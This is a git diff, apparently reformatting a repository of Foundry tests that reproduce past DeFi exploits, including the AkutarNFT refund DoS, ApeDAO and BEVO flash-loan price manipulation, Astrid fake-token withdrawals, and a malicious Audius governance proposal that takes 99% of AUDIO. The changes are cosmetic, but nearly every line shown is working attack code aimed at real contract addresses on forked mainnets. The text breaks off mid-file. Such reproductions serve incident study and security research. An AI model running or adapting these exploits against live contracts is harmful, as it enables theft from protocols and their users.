CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D); IAkutarNFT akutarNft = IAkutarNFT(0xF42c318dbfBaab0EEE040279C6a2588Fa01a961d); function setUp() public { - cheats.createSelectFork("mainnet", 14636844); // fork mainnet at 14636844 + cheats.createSelectFork("mainnet", 14_636_844); // fork mainnet at 14636844 } function testDOSAttack() public { address honestUser = 0xca2eB45533a6D5E2657382B0d6Ec01E33a425BF4; address maliciousUser = address(this); // malicious User is a contract address - + cheats.prank(maliciousUser); //maliciousUser makes a bid - akutarNft.bid{ value: 3.5 ether }(1); + akutarNft.bid{value: 3.5 ether}(1); console.log("honestUser Balance before Bid: ", honestUser.balance / 1 ether); - + cheats.prank(honestUser); //honestUser makes a bid - akutarNft.bid{ value: 3.75 ether }(1); + akutarNft.bid{value: 3.75 ether}(1); console.log("honestUser Balance after Bid: ", honestUser.balance / 1 ether); //Set the block.height to the time when the auction was over and processRefunds() can be invoked //https://etherscan.io/tx/0x62d280abc60f8b604175ab24896c989e6092e496ac01f2f5399b2a62e9feaacf - //use - https://www.epochconverter.com/ for UTC <-> epoch - cheats.warp(1650674809); + //use - https://www.epochconverter.com/ for UTC <-> epoch + cheats.warp(1_650_674_809); cheats.prank(maliciousUser); - try akutarNft.processRefunds(){ - } catch Error(string memory Exception) { + try akutarNft.processRefunds() {} + catch Error(string memory Exception) { console.log("processRefunds() REVERT : ", Exception); } //Since the honestUser's bid was after maliciousUser's bid, the bid amount of the honestUser is never returned due to the revert Exception @@ -54,16 +53,16 @@ contract AkutarNFTExploit is DSTest { address ownerOfAkutarNFT = 0xCc0eCD808Ce4fEd81f0552b3889656B28aa2BAe9; //Set the block.height to the time when the auction was over and claimProjectFunds() can be invoked - cheats.warp(1650672435); - + cheats.warp(1_650_672_435); + cheats.prank(ownerOfAkutarNFT); - try akutarNft.claimProjectFunds(){ - } catch Error(string memory Exception) { + try akutarNft.claimProjectFunds() {} + catch Error(string memory Exception) { console.log("claimProjectFunds() ERROR : ", Exception); } } - fallback() external { + fallback() external { revert("CAUSE REVERT !!!"); - } -} \ No newline at end of file + } +} diff --git a/src/test/Allbridge_exp2.sol b/src/test/Allbridge_exp2.sol index f58b7710..45a66286 100644 --- a/src/test/Allbridge_exp2.sol +++ b/src/test/Allbridge_exp2.sol @@ -61,7 +61,7 @@ contract ContractTest is Test { emit log_named_decimal_uint( "Attacker BUSD balance after exploit", BUSD.balanceOf(address(this)), BUSD.decimals() - ); + ); } function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external { diff --git a/src/test/ApeDAO_exp.sol b/src/test/ApeDAO_exp.sol index fb6ae10d..d508c3d4 100644 --- a/src/test/ApeDAO_exp.sol +++ b/src/test/ApeDAO_exp.sol @@ -20,23 +20,18 @@ interface IAPEDAO is IERC20 { contract ApeDAOTest is Test { IERC20 BUSDT = IERC20(0x55d398326f99059fF775485246999027B3197955); IAPEDAO APEDAO = IAPEDAO(0xB47955B5B7EAF49C815EBc389850eb576C460092); - IDPPOracle DPPOracle1 = - IDPPOracle(0xFeAFe253802b77456B4627F8c2306a9CeBb5d681); - IDPPOracle DPPOracle2 = - IDPPOracle(0x9ad32e3054268B849b84a8dBcC7c8f7c52E4e69A); - IDPPOracle DPPOracle3 = - IDPPOracle(0x26d0c625e5F5D6de034495fbDe1F6e9377185618); + IDPPOracle DPPOracle1 = IDPPOracle(0xFeAFe253802b77456B4627F8c2306a9CeBb5d681); + IDPPOracle DPPOracle2 = IDPPOracle(0x9ad32e3054268B849b84a8dBcC7c8f7c52E4e69A); + IDPPOracle DPPOracle3 = IDPPOracle(0x26d0c625e5F5D6de034495fbDe1F6e9377185618); IDPPOracle DPP = IDPPOracle(0x6098A5638d8D7e9Ed2f952d35B2b67c34EC6B476); - IDPPOracle DPPAdvanced = - IDPPOracle(0x81917eb96b397dFb1C6000d28A5bc08c0f05fC1d); - Uni_Router_V2 Router = - Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E); + IDPPOracle DPPAdvanced = IDPPOracle(0x81917eb96b397dFb1C6000d28A5bc08c0f05fC1d); + Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E); Uni_Pair_V2 Pair = Uni_Pair_V2(0xee2a9D05B943C1F33f3920C750Ac88F74D0220c3); CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D); function setUp() public { - cheats.createSelectFork("bsc", 30072293); + cheats.createSelectFork("bsc", 30_072_293); cheats.label(address(BUSDT), "BUSDT"); cheats.label(address(APEDAO), "APEDAO"); cheats.label(address(DPPOracle1), "DPPOracle1"); @@ -51,57 +46,23 @@ contract ApeDAOTest is Test { function testExploit() public { deal(address(BUSDT), address(this), 0); emit log_named_decimal_uint( - "BUSDT balance of attacker before exploit", - BUSDT.balanceOf(address(this)), - BUSDT.decimals() - ); - DPPOracle1.flashLoan( - 0, - BUSDT.balanceOf(address(DPPOracle1)), - address(this), - new bytes(1) + "BUSDT balance of attacker before exploit", BUSDT.balanceOf(address(this)), BUSDT.decimals() ); + DPPOracle1.flashLoan(0, BUSDT.balanceOf(address(DPPOracle1)), address(this), new bytes(1)); emit log_named_decimal_uint( - "BUSDT balance of attacker after exploit", - BUSDT.balanceOf(address(this)), - BUSDT.decimals() + "BUSDT balance of attacker after exploit", BUSDT.balanceOf(address(this)), BUSDT.decimals() ); } - function DPPFlashLoanCall( - address sender, - uint256 baseAmount, - uint256 quoteAmount, - bytes calldata data - ) external { + function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external { if (msg.sender == address(DPPOracle1)) { - DPPOracle2.flashLoan( - 0, - BUSDT.balanceOf(address(DPPOracle2)), - address(this), - new bytes(1) - ); + DPPOracle2.flashLoan(0, BUSDT.balanceOf(address(DPPOracle2)), address(this), new bytes(1)); } else if (msg.sender == address(DPPOracle2)) { - DPPAdvanced.flashLoan( - 0, - BUSDT.balanceOf(address(DPPAdvanced)), - address(this), - new bytes(1) - ); + DPPAdvanced.flashLoan(0, BUSDT.balanceOf(address(DPPAdvanced)), address(this), new bytes(1)); } else if (msg.sender == address(DPPAdvanced)) { - DPPOracle3.flashLoan( - 0, - BUSDT.balanceOf(address(DPPOracle3)), - address(this), - new bytes(1) - ); + DPPOracle3.flashLoan(0, BUSDT.balanceOf(address(DPPOracle3)), address(this), new bytes(1)); } else if (msg.sender == address(DPPOracle3)) { - DPP.flashLoan( - 0, - BUSDT.balanceOf(address(DPP)), - address(this), - new bytes(1) - ); + DPP.flashLoan(0, BUSDT.balanceOf(address(DPP)), address(this), new bytes(1)); } else { BUSDT.approve(address(Router), type(uint256).max); @@ -114,7 +75,7 @@ contract ApeDAOTest is Test { // Burn APEDAO tokens in Pair contract (cause the token price to rise) APEDAO.goDead(); - BUSDT.transfer(address(Pair), 1_001); + BUSDT.transfer(address(Pair), 1001); uint256 amountIn = APEDAO.balanceOf(address(this)); APEDAO.transfer(address(Pair), APEDAO.balanceOf(address(this))); swapAPEDAOToBUSDT(amountIn); @@ -126,13 +87,7 @@ contract ApeDAOTest is Test { address[] memory path = new address[](2); path[0] = address(BUSDT); path[1] = address(APEDAO); - Router.swapExactTokensForTokens( - 19_000 * 1e18, - 0, - path, - address(this), - block.timestamp + 100 - ); + Router.swapExactTokensForTokens(19_000 * 1e18, 0, path, address(this), block.timestamp + 100); } function swapAPEDAOToBUSDT(uint256 amountIn) internal { diff --git a/src/test/Astrid_exp.sol b/src/test/Astrid_exp.sol index 495893af..d41edd16 100644 --- a/src/test/Astrid_exp.sol +++ b/src/test/Astrid_exp.sol @@ -20,10 +20,12 @@ contract MyERC20 { uint8 public decimals = 18; address public stakedTokenAddr; uint256 public scaledBalanceToBal; - constructor(address _stakedTokenAddress,uint256 bal)public{ + + constructor(address _stakedTokenAddress, uint256 bal) public { stakedTokenAddr = _stakedTokenAddress; scaledBalanceToBal = bal; } + event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); @@ -47,26 +49,31 @@ contract MyERC20 { emit Transfer(address(0), msg.sender, amount); } - function burn(address sender,uint256 amount) external { + function burn(address sender, uint256 amount) external { balanceOf[sender] -= amount; totalSupply -= amount; emit Transfer(sender, address(0), amount); } - function scaledBalanceOf(address user)external pure returns(uint){ + + function scaledBalanceOf(address user) external pure returns (uint256) { return 0; } - function stakedTokenAddress()external returns(address){ + + function stakedTokenAddress() external returns (address) { return stakedTokenAddr; } - function scaledBalanceToBalance(uint256 a)external returns(uint){ + + function scaledBalanceToBalance(uint256 a) external returns (uint256) { return scaledBalanceToBal; } } -interface Vulnerable{ + +interface Vulnerable { function withdraw(address _restakedTokenAddress, uint256 amount) external; function claim(uint256 withdrawerIndex) external; } -interface IuniswapV3{ + +interface IuniswapV3 { function token0() external view returns (address); function token1() external view returns (address); function swap( @@ -78,7 +85,6 @@ interface IuniswapV3{ ) external; } - contract ASTTest is Test { CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D); Vulnerable vulnerable = Vulnerable(0xbAa87546cF87b5De1b0b52353A86792D40b8BA70); @@ -89,45 +95,46 @@ contract ASTTest is Test { IuniswapV3 rETHPool = IuniswapV3(0xa4e0faA58465A2D369aa21B3e42d43374c6F9613); IuniswapV3 cbETHPool = IuniswapV3(0x840DEEef2f115Cf50DA625F7368C24af6fE74410); IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); + function setUp() public { cheats.createSelectFork("https://rpc.ankr.com/eth", 18_448_167); } - function testExpolit()public{ + + function testExpolit() public { address[] memory stakedTokens = new address[](3); stakedTokens[0] = address(stETH); stakedTokens[1] = address(rETH); stakedTokens[2] = address(cbETH); deal(address(this), 0); - uint[] memory balances = new uint[](3); + uint256[] memory balances = new uint[](3); emit log_named_decimal_uint("Attacker Eth balance before attack:", address(this).balance, 18); - for(uint8 i = 0; i < stakedTokens.length; i++){ - uint staked_bal = IERC20(stakedTokens[i]).balanceOf(address(vulnerable)); + for (uint8 i = 0; i < stakedTokens.length; i++) { + uint256 staked_bal = IERC20(stakedTokens[i]).balanceOf(address(vulnerable)); balances[i] = staked_bal; MyERC20 fake_token = new MyERC20(stakedTokens[i],staked_bal); fake_token.mint(10_000 * 1e18); - fake_token.approve(address(vulnerable),type(uint).max); + fake_token.approve(address(vulnerable), type(uint256).max); vulnerable.withdraw(address(fake_token), staked_bal); vulnerable.claim(i); - } //changing stETH to eth - stETH.approve(address(LidoCurvePool),balances[0]); - LidoCurvePool.exchange(1,0,balances[0],0); + stETH.approve(address(LidoCurvePool), balances[0]); + LidoCurvePool.exchange(1, 0, balances[0], 0); //changing rETH to weth - rETH.approve(address(rETHPool),balances[1]); - rETHPool.swap(address(this),true,int256(balances[1]),4_295_128_740,new bytes(0)); + rETH.approve(address(rETHPool), balances[1]); + rETHPool.swap(address(this), true, int256(balances[1]), 4_295_128_740, new bytes(0)); //changing cbETH to weth - cbETH.approve(address(cbETHPool),balances[2]); - cbETHPool.swap(address(this),true,int256(balances[2]),4_295_128_740,new bytes(0)); + cbETH.approve(address(cbETHPool), balances[2]); + cbETHPool.swap(address(this), true, int256(balances[2]), 4_295_128_740, new bytes(0)); WETH.withdraw(WETH.balanceOf(address(this))); emit log_named_decimal_uint("Attacker Eth balance after attack:", address(this).balance, 18); - } + function uniswapV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata data) external { if (amount0Delta > 0) { IERC20(IuniswapV3(msg.sender).token0()).transfer(msg.sender, uint256(amount0Delta)); @@ -135,5 +142,6 @@ contract ASTTest is Test { IERC20(IuniswapV3(msg.sender).token1()).transfer(msg.sender, uint256(amount1Delta)); } } - receive()external payable{} -} \ No newline at end of file + + receive() external payable {} +} diff --git a/src/test/Audius.exp.sol b/src/test/Audius.exp.sol index 5a05166c..84691ce1 100644 --- a/src/test/Audius.exp.sol +++ b/src/test/Audius.exp.sol @@ -39,19 +39,53 @@ address constant staking = 0xe6D97B2099F142513be7A2a068bE040656Ae4591; address constant delegatemanager = 0x4d7968ebfD390D5E7926Cb3587C39eFf2F9FB225; interface IGovernence { - enum Vote { None, No, Yes } - enum Outcome { InProgress, Rejected, ApprovedExecuted, QuorumNotMet, ApprovedExecutionFailed, Evaluating, Vetoed, TargetContractAddressChanged, TargetContractCodeHashChanged } - function initialize(address _registryAddress, uint256 _votingPeriod, uint256 _executionDelay, uint256 _votingQuorumPercent, uint16 _maxInProgressProposals, address _guardianAddress) external; + enum Vote { + None, + No, + Yes + } + enum Outcome { + InProgress, + Rejected, + ApprovedExecuted, + QuorumNotMet, + ApprovedExecutionFailed, + Evaluating, + Vetoed, + TargetContractAddressChanged, + TargetContractCodeHashChanged + } + + function initialize( + address _registryAddress, + uint256 _votingPeriod, + uint256 _executionDelay, + uint256 _votingQuorumPercent, + uint16 _maxInProgressProposals, + address _guardianAddress + ) external; function evaluateProposalOutcome(uint256 _proposalId) external returns (Outcome); - function submitProposal(bytes32 _targetContractRegistryKey, uint256 _callValue, string calldata _functionSignature, bytes calldata _callData, string calldata _name, string calldata _description) external returns (uint256); + function submitProposal( + bytes32 _targetContractRegistryKey, + uint256 _callValue, + string calldata _functionSignature, + bytes calldata _callData, + string calldata _name, + string calldata _description + ) external returns (uint256); function submitVote(uint256 _proposalId, Vote _vote) external; } interface IStaking { function initialize(address _tokenAddress, address _governanceAddress) external; } + interface IDelegateManagerV2 { - function initialize(address _tokenAddress, address _governanceAddress, uint256 _undelegateLockupDuration) external; + function initialize( + address _tokenAddress, + address _governanceAddress, + uint256 _undelegateLockupDuration + ) external; function setServiceProviderFactoryAddress(address _spFactory) external; function delegateStake(address _targetSP, uint256 _amount) external returns (uint256); } @@ -61,7 +95,7 @@ contract AttackContract is Test { address constant weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; function setUp() public { - cheat.createSelectFork("mainnet", 15201793); // Fork mainnet at block 15201793 + cheat.createSelectFork("mainnet", 15_201_793); // Fork mainnet at block 15201793 cheat.label(AUDIO, "AUDIO"); cheat.label(uniswap, "UniswapV2Router02"); cheat.label(governance, "GovernanceProxy"); @@ -79,20 +113,20 @@ contract AttackContract is Test { console.log("-> executionDelay : 0 block"); console.log("-> guardianAddress : self"); // function initialize( - // address _registryAddress, - // uint256 _votingPeriod, - // uint256 _executionDelay, - // uint256 _votingQuorumPercent, - // uint16 _maxInProgressProposals, - // address _guardianAddress + // address _registryAddress, + // uint256 _votingPeriod, + // uint256 _executionDelay, + // uint256 _votingQuorumPercent, + // uint16 _maxInProgressProposals, + // address _guardianAddress // ) IGovernence(governance).initialize(address(this), 3, 0, 1, 4, address(this)); - + console.log("Evaluate Proposal..."); // this is to make sure one can submit new proposals - IGovernence(governance).evaluateProposalOutcome(84); // callback this.getContract() - + IGovernence(governance).evaluateProposalOutcome(84); // callback this.getContract() + uint256 audioBalance_gov = IERC20(AUDIO).balanceOf(governance); - uint256 stealAmount = audioBalance_gov * 99 / 1e2; // Steal 99% of AUDIO Token from governance address + uint256 stealAmount = audioBalance_gov * 99 / 1e2; // Steal 99% of AUDIO Token from governance address console.log("Submit Proposal..."); // function submitProposal( @@ -103,7 +137,14 @@ contract AttackContract is Test { // string calldata _name, // string calldata _description // ) external returns (uint256) - IGovernence(governance).submitProposal(bytes32(uint(3078)), 0, "transfer(address,uint256)", abi.encode(address(this), stealAmount), "Hello", "World"); + IGovernence(governance).submitProposal( + bytes32(uint256(3078)), + 0, + "transfer(address,uint256)", + abi.encode(address(this), stealAmount), + "Hello", + "World" + ); IStaking(staking).initialize(address(this), address(this)); IDelegateManagerV2(delegatemanager).initialize(address(this), address(this), 1); @@ -112,13 +153,13 @@ contract AttackContract is Test { console.log("-------------------- Tx2 --------------------"); console.log("SubmitVote `Yes` for malicious ProposalId 85..."); - cheat.roll(15201795); - IGovernence(governance).submitVote(85, IGovernence.Vote(2)); // Voting Yes + cheat.roll(15_201_795); + IGovernence(governance).submitVote(85, IGovernence.Vote(2)); // Voting Yes console.log("-------------------- Tx3 --------------------"); console.log("Execute malicious ProposalId 85..."); - cheat.roll(15201798); - IGovernence(governance).evaluateProposalOutcome(85); // callback this.getContract() + cheat.roll(15_201_798); + IGovernence(governance).evaluateProposalOutcome(85); // callback this.getContract() uint256 audioBalance_this = IERC20(AUDIO).balanceOf(address(this)); emit log_named_decimal_uint("AttackContract AUDIO Balance", audioBalance_this, 18); @@ -132,16 +173,30 @@ contract AttackContract is Test { console.log("-------------------- End --------------------"); emit log_named_decimal_uint("Attacker ETH Balance", attacker.balance, 18); - } /* Tx1 callback functions */ - function getContract(bytes32 _targetContractRegistryKey) external returns(address) { return AUDIO; } - function isGovernanceAddress() external view returns(bool) { return true; } - function getExecutionDelay() external view returns(uint) { return 0; } - function getVotingPeriod() external view returns(uint) { return 0; } - function transferFrom(address, address, uint256) external pure returns(bool) { return true; } + function getContract(bytes32 _targetContractRegistryKey) external returns (address) { + return AUDIO; + } + + function isGovernanceAddress() external view returns (bool) { + return true; + } + + function getExecutionDelay() external view returns (uint256) { + return 0; + } + + function getVotingPeriod() external view returns (uint256) { + return 0; + } + + function transferFrom(address, address, uint256) external pure returns (bool) { + return true; + } + function validateAccountStakeBalance(address) external pure {} - receive() external payable {} + receive() external payable {} } diff --git a/src/test/AzukiDAO_exp.sol b/src/test/AzukiDAO_exp.sol index 995288fb..7c976570 100644 --- a/src/test/AzukiDAO_exp.sol +++ b/src/test/AzukiDAO_exp.sol @@ -45,7 +45,7 @@ contract AzukiTest is Test { deal(address(Bean), azukiDAOExploiter, 0); emit log_named_decimal_uint( "Attacker balance of Bean token before exploit", Bean.balanceOf(azukiDAOExploiter), Bean.decimals() - ); + ); // Arguments for the claim() function calls // Signature: sender + contracts + tokenIds + claimAmount + endTime bytes32 r = 0xd044373fa377c3af4a854829176d14eebc23d96c342401b294f3491f0616559c; @@ -81,6 +81,6 @@ contract AzukiTest is Test { emit log_named_decimal_uint( "Attacker balance of Bean token after exploit", Bean.balanceOf(azukiDAOExploiter), Bean.decimals() - ); + ); } } diff --git a/src/test/BEVO_exp.sol b/src/test/BEVO_exp.sol index ba27e876..5be8058e 100644 --- a/src/test/BEVO_exp.sol +++ b/src/test/BEVO_exp.sol @@ -1,71 +1,73 @@ -// SPDX-License-Identifier: UNLICENSED -pragma solidity ^0.8.10; - -import "forge-std/Test.sol"; -import "./interface.sol"; - -// Total lost: 144 BNB -// Frontrunner: https://bscscan.com/address/0xd3455773c44bf0809e2aeff140e029c632985c50 -// Original Attacker: https://bscscan.com/address/0x68fa774685154d3d22dec195bc77d53f0261f9fd -// Frontrunner Contract: https://bscscan.com/address/0xbec576e2e3552f9a1751db6a4f02e224ce216ac1 -// Original Attack Contract: https://bscscan.com/address/0xbf7fc9e12bcd08ec7ef48377f2d20939e3b4845d -// Vulnerable Contract: https://bscscan.com/address/0xc6cb12df4520b7bf83f64c79c585b8462e18b6aa -// Attack Tx: https://bscscan.com/tx/0xb97502d3976322714c828a890857e776f25c79f187a32e2d548dda1c315d2a7d - -// @Analysis -// https://twitter.com/QuillAudits/status/1620377951836708865 - -contract BEVOExploit is Test { - IERC20 private constant wbnb = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c); - reflectiveERC20 private constant bevo = reflectiveERC20(0xc6Cb12df4520B7Bf83f64C79c585b8462e18B6Aa); - IUniswapV2Pair private constant wbnb_usdc = IUniswapV2Pair(0xd99c7F6C65857AC913a8f880A4cb84032AB2FC5b); - IUniswapV2Pair private constant bevo_wbnb = IUniswapV2Pair(0xA6eB184a4b8881C0a4F7F12bBF682FD31De7a633); - IPancakeRouter private constant router = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E)); - CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D); - - function setUp() public { - cheats.createSelectFork("bsc", 25230702); - - cheats.label(address(wbnb), "WBNB"); - cheats.label(address(bevo), "BEVO"); - cheats.label(address(wbnb_usdc), "PancakePair: WBNB-USDC"); - cheats.label(address(bevo_wbnb), "PancakePair: BEVO-WBNB"); - cheats.label(address(router), "PancakeRouter"); - } - - function testExploit() external { - // flashloan WBNB from PancakePair - wbnb.approve(address(router), type(uint).max); - wbnb_usdc.swap(0, 192.5 ether, address(this), new bytes(1)); - emit log_named_decimal_uint("WBNB balance after exploit", wbnb.balanceOf(address(this)), 18); - } - - function pancakeCall(address /*sender*/, uint /*amount0*/, uint /*amount1*/, bytes calldata /*data*/) external { - address[] memory path = new address[](2); - path[0] = address(wbnb); - path[1] = address(bevo); - router.swapExactTokensForTokensSupportingFeeOnTransferTokens( - wbnb.balanceOf(address(this)), - 0, - path, - address(this), - block.timestamp - ); - - bevo.deliver(bevo.balanceOf(address(this))); - bevo_wbnb.skim(address(this)); - bevo.deliver(bevo.balanceOf(address(this))); - bevo_wbnb.swap(337 ether, 0, address(this), ""); - - wbnb.transfer(address(wbnb_usdc), 193 ether); - } -} -/* -------------------- Interface -------------------- */ -interface reflectiveERC20 { - function transfer(address to, uint256 amount) external returns (bool); - function approve(address spender, uint256 amount) external returns (bool); - function balanceOf(address account) external view returns (uint256); - function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); - - function deliver(uint256 tAmount) external; -} \ No newline at end of file +// SPDX-License-Identifier: UNLICENSED +pragma solidity ^0.8.10; + +import "forge-std/Test.sol"; +import "./interface.sol"; + +// Total lost: 144 BNB +// Frontrunner: https://bscscan.com/address/0xd3455773c44bf0809e2aeff140e029c632985c50 +// Original Attacker: https://bscscan.com/address/0x68fa774685154d3d22dec195bc77d53f0261f9fd +// Frontrunner Contract: https://bscscan.com/address/0xbec576e2e3552f9a1751db6a4f02e224ce216ac1 +// Original Attack Contract: https://bscscan.com/address/0xbf7fc9e12bcd08ec7ef48377f2d20939e3b4845d +// Vulnerable Contract: https://bscscan.com/address/0xc6cb12df4520b7bf83f64c79c585b8462e18b6aa +// Attack Tx: https://bscscan.com/tx/0xb97502d3976322714c828a890857e776f25c79f187a32e2d548dda1c315d2a7d + +// @Analysis +// https://twitter.com/QuillAudits/status/1620377951836708865 + +contract BEVOExploit is Test { + IERC20 private constant wbnb = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c); + reflectiveERC20 private constant bevo = reflectiveERC20(0xc6Cb12df4520B7Bf83f64C79c585b8462e18B6Aa); + IUniswapV2Pair private constant wbnb_usdc = IUniswapV2Pair(0xd99c7F6C65857AC913a8f880A4cb84032AB2FC5b); + IUniswapV2Pair private constant bevo_wbnb = IUniswapV2Pair(0xA6eB184a4b8881C0a4F7F12bBF682FD31De7a633); + IPancakeRouter private constant router = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E)); + CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D); + + function setUp() public { + cheats.createSelectFork("bsc", 25_230_702); + + cheats.label(address(wbnb), "WBNB"); + cheats.label(address(bevo), "BEVO"); + cheats.label(address(wbnb_usdc), "PancakePair: WBNB-USDC"); + cheats.label(address(bevo_wbnb), "PancakePair: BEVO-WBNB"); + cheats.label(address(router), "PancakeRouter"); + } + + function testExploit() external { + // flashloan WBNB from PancakePair + wbnb.approve(address(router), type(uint256).max); + wbnb_usdc.swap(0, 192.5 ether, address(this), new bytes(1)); + emit log_named_decimal_uint("WBNB balance after exploit", wbnb.balanceOf(address(this)), 18); + } + + function pancakeCall( + address, /*sender*/ + uint256, /*amount0*/ + uint256, /*amount1*/ + bytes calldata /*data*/ + ) external { + address[] memory path = new address[](2); + path[0] = address(wbnb); + path[1] = address(bevo); + router.swapExactTokensForTokensSupportingFeeOnTransferTokens( + wbnb.balanceOf(address(this)), 0, path, address(this), block.timestamp + ); + + bevo.deliver(bevo.balanceOf(address(this))); + bevo_wbnb.skim(address(this)); + bevo.deliver(bevo.balanceOf(address(this))); + bevo_wbnb.swap(337 ether, 0, address(this), ""); + + wbnb.transfer(address(wbnb_usdc), 193 ether); + } +} +/* -------------------- Interface -------------------- */ + +interface reflectiveERC20 { + function transfer(address to, uint256 amount) external returns (bool); + function approve(address spender, uint256 amount) external returns (bool); + function balanceOf(address account) external view returns (uint256); + function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); + + function deliver(uint256 tAmount) external; +} diff --git a/src/test/BFCToken_exp.sol b/src/test/BFCToken_exp.sol index 2b570835..755d59b1 100644 --- a/src/test/BFCToken_exp.sol +++ b/src/test/BFCToken_exp.sol @@ -14,18 +14,15 @@ import "./interface.sol"; // https://twitter.com/CertiKAlert/status/1700621314246017133 contract BFCTest is Test { - Uni_Pair_V2 BUSDT_WBNB = - Uni_Pair_V2(0x16b9a82891338f9bA80E2D6970FddA79D1eb0daE); - Uni_Pair_V2 BUSDT_BFC = - Uni_Pair_V2(0x71e1949A1180C0F945fe47C96f88b1a898760c05); - Uni_Router_V2 Router = - Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E); + Uni_Pair_V2 BUSDT_WBNB = Uni_Pair_V2(0x16b9a82891338f9bA80E2D6970FddA79D1eb0daE); + Uni_Pair_V2 BUSDT_BFC = Uni_Pair_V2(0x71e1949A1180C0F945fe47C96f88b1a898760c05); + Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E); IERC20 BFC = IERC20(0x595eac4A0CE9b7175a99094680fbe55A774B5464); IERC20 BUSDT = IERC20(0x55d398326f99059fF775485246999027B3197955); IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c); function setUp() public { - vm.createSelectFork("bsc", 31599443); + vm.createSelectFork("bsc", 31_599_443); vm.label(address(BUSDT_WBNB), "BUSDT_WBNB"); vm.label(address(BUSDT_BFC), "BUSDT_BFC"); vm.label(address(Router), "Router"); @@ -37,27 +34,14 @@ contract BFCTest is Test { function testExploit() public { deal(address(BUSDT), address(this), 0); deal(address(this), 0); - bytes memory swapData = abi.encode( - address(BFC), - address(BUSDT_BFC), - 400_000 * 1e18 - ); + bytes memory swapData = abi.encode(address(BFC), address(BUSDT_BFC), 400_000 * 1e18); BUSDT_WBNB.swap(400_000 * 1e18, 0, address(this), swapData); swapBUSDTToBNB(); - emit log_named_decimal_uint( - "Attacker BNB balance after attack", - address(this).balance, - 18 - ); + emit log_named_decimal_uint("Attacker BNB balance after attack", address(this).balance, 18); } - function pancakeCall( - address _sender, - uint256 _amount0, - uint256 _amount1, - bytes calldata _data - ) external { + function pancakeCall(address _sender, uint256 _amount0, uint256 _amount1, bytes calldata _data) external { BFC.approve(address(Router), type(uint256).max); BUSDT.approve(address(Router), type(uint256).max); @@ -98,11 +82,7 @@ contract BFCTest is Test { path[1] = address(BFC); Router.swapExactTokensForTokensSupportingFeeOnTransferTokens( - amountIn, - 0, - path, - address(this), - block.timestamp + 1000 + amountIn, 0, path, address(this), block.timestamp + 1000 ); } @@ -112,11 +92,7 @@ contract BFCTest is Test { path[1] = address(BUSDT); Router.swapExactTokensForTokensSupportingFeeOnTransferTokens( - BFC.balanceOf(address(this)), - 0, - path, - address(this), - block.timestamp + 1000 + BFC.balanceOf(address(this)), 0, path, address(this), block.timestamp + 1000 ); } @@ -125,12 +101,6 @@ contract BFCTest is Test { path[0] = address(BUSDT); path[1] = address(WBNB); - Router.swapExactTokensForETH( - BUSDT.balanceOf(address(this)), - 0, - path, - address(this), - block.timestamp + 1000 - ); + Router.swapExactTokensForETH(BUSDT.balanceOf(address(this)), 0, path, address(this), block.timestamp + 1000); } } diff --git a/src/test/BH_exp.sol b/src/test/BH_exp.sol index 7c66c100..4597ad57 100644 --- a/src/test/BH_exp.sol +++ b/src/test/BH_exp.sol @@ -19,37 +19,24 @@ interface IUnverifiedContract1 { } contract ContractTest is Test { - IERC20 private constant BUSDT = - IERC20(0x55d398326f99059fF775485246999027B3197955); - IERC20 private constant BH = - IERC20(0xCC61CC9F2632314c9d452acA79104DDf680952b5); - IDPPOracle private constant DPPOracle1 = - IDPPOracle(0x26d0c625e5F5D6de034495fbDe1F6e9377185618); - IDPPOracle private constant DPPOracle2 = - IDPPOracle(0xFeAFe253802b77456B4627F8c2306a9CeBb5d681); - IDPPOracle private constant DPPOracle3 = - IDPPOracle(0x9ad32e3054268B849b84a8dBcC7c8f7c52E4e69A); - IDPPOracle private constant DPPAdvanced = - IDPPOracle(0x81917eb96b397dFb1C6000d28A5bc08c0f05fC1d); - IDPPOracle private constant DPP = - IDPPOracle(0x6098A5638d8D7e9Ed2f952d35B2b67c34EC6B476); - Uni_Pair_V2 private constant WBNB_BUSDT = - Uni_Pair_V2(0x16b9a82891338f9bA80E2D6970FddA79D1eb0daE); - Uni_Pair_V3 private constant BUSDT_USDC = - Uni_Pair_V3(0x4f31Fa980a675570939B737Ebdde0471a4Be40Eb); + IERC20 private constant BUSDT = IERC20(0x55d398326f99059fF775485246999027B3197955); + IERC20 private constant BH = IERC20(0xCC61CC9F2632314c9d452acA79104DDf680952b5); + IDPPOracle private constant DPPOracle1 = IDPPOracle(0x26d0c625e5F5D6de034495fbDe1F6e9377185618); + IDPPOracle private constant DPPOracle2 = IDPPOracle(0xFeAFe253802b77456B4627F8c2306a9CeBb5d681); + IDPPOracle private constant DPPOracle3 = IDPPOracle(0x9ad32e3054268B849b84a8dBcC7c8f7c52E4e69A); + IDPPOracle private constant DPPAdvanced = IDPPOracle(0x81917eb96b397dFb1C6000d28A5bc08c0f05fC1d); + IDPPOracle private constant DPP = IDPPOracle(0x6098A5638d8D7e9Ed2f952d35B2b67c34EC6B476); + Uni_Pair_V2 private constant WBNB_BUSDT = 